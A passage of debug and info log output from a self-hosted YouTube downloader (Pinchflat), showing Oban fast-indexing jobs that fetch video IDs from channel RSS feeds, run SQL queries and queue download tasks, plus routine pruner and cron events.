m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 12:20:53.223 [debug] QUERY OK source="media_items" db=4.2ms idle=41.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 12:20:53.224 [debug] QUERY OK source="tasks" db=0.1ms idle=46.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [634, 1, ~U[2026-07-24 12:20:53Z], ~U[2026-07-24 12:20:53Z]] 12:20:53.224 [info] {"args":{"id":1},"id":631,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":47152,"event":"job:stop","queue_time":451902,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:20:56.645 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:21:00.476 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:21:08.192 [info] {"args":{"id":3},"id":632,"meta":{},"system_time":1784895668192084415,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:21:08.192 [debug] QUERY OK source="sources" db=0.0ms idle=1613.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 12:21:08.192 [debug] QUERY OK source="settings" db=0.0ms idle=1007.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:21:08.192 [debug] QUERY OK source="media_profiles" db=0.0ms idle=613.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 12:21:08.192 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:21:08.192 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 12:21:08.218 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 12:21:08.218 [debug] QUERY OK source="media_items" db=0.3ms idle=26.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 12:21:08.222 [debug] QUERY OK source="media_items" db=3.3ms idle=26.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 12:21:08.223 [debug] QUERY OK source="tasks" db=0.0ms idle=30.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [635, 3, ~U[2026-07-24 12:21:08Z], ~U[2026-07-24 12:21:08Z]] 12:21:08.223 [info] {"args":{"id":3},"id":632,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":31072,"event":"job:stop","queue_time":480238,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:21:26.646 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:21:56.648 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:22:00.477 [info] {"source":"oban","duration":160,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:22:26.650 [info] {"source":"oban","duration":487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:22:56.651 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:23:00.478 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:23:26.652 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:23:56.653 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:24:00.479 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:24:26.654 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:24:56.656 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:25:00.479 [info] {"source":"oban","duration":126,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:25:26.657 [info] {"source":"oban","duration":523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:25:56.658 [info] {"source":"oban","duration":586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:26:00.481 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:26:26.659 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:26:56.660 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:27:00.481 [info] {"source":"oban","duration":130,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:27:26.661 [info] {"source":"oban","duration":441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:27:56.662 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:28:00.482 [info] {"source":"oban","duration":103,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:28:26.663 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:28:56.664 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:29:00.483 [info] {"source":"oban","duration":106,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:29:26.665 [info] {"source":"oban","duration":443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:29:56.666 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:30:00.484 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:30:26.667 [info] {"source":"oban","duration":439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:30:38.820 [info] {"args":{"id":2},"id":633,"meta":{},"system_time":1784896238820164079,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:30:38.820 [debug] QUERY OK source="sources" db=0.0ms idle=241.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 12:30:38.820 [debug] QUERY OK source="settings" db=0.0ms idle=241.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:30:38.820 [debug] QUERY OK source="media_profiles" db=0.0ms idle=241.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 12:30:38.820 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:30:38.820 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 12:30:39.085 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 12:30:39.086 [debug] QUERY OK source="media_items" db=0.3ms idle=265.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 12:30:39.087 [debug] QUERY OK source="media_items" db=0.2ms idle=266.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 12:30:39.087 [debug] QUERY OK source="tasks" db=0.0ms idle=267.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [636, 2, ~U[2026-07-24 12:30:39Z], ~U[2026-07-24 12:30:39Z]] 12:30:39.088 [info] {"args":{"id":2},"id":633,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":267822,"event":"job:stop","queue_time":537074,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:30:53.838 [info] {"args":{"id":1},"id":634,"meta":{},"system_time":1784896253838138989,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:30:53.838 [debug] QUERY OK source="sources" db=0.1ms idle=1259.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 12:30:53.838 [debug] QUERY OK source="settings" db=0.0ms idle=1259.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:30:53.838 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 12:30:53.839 [debug] QUERY OK source="settings" db=0.0ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:30:53.839 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 12:30:54.024 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 12:30:54.024 [debug] QUERY OK source="media_items" db=0.2ms idle=186.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 12:30:54.026 [debug] QUERY OK source="media_items" db=1.9ms idle=186.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 12:30:54.027 [debug] QUERY OK source="tasks" db=0.0ms idle=188.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [637, 1, ~U[2026-07-24 12:30:54Z], ~U[2026-07-24 12:30:54Z]] 12:30:54.027 [info] {"args":{"id":1},"id":634,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":189332,"event":"job:stop","queue_time":614188,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:30:56.668 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:31:00.486 [info] {"source":"oban","duration":102,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:31:08.853 [info] {"args":{"id":3},"id":635,"meta":{},"system_time":1784896268853125424,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:31:08.853 [debug] QUERY OK source="sources" db=0.0ms idle=1274.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 12:31:08.853 [debug] QUERY OK source="settings" db=0.0ms idle=1274.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:31:08.853 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 12:31:08.853 [debug] QUERY OK source="settings" db=0.0ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:31:08.853 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 12:31:08.882 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 12:31:08.882 [debug] QUERY OK source="media_items" db=0.3ms idle=29.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", 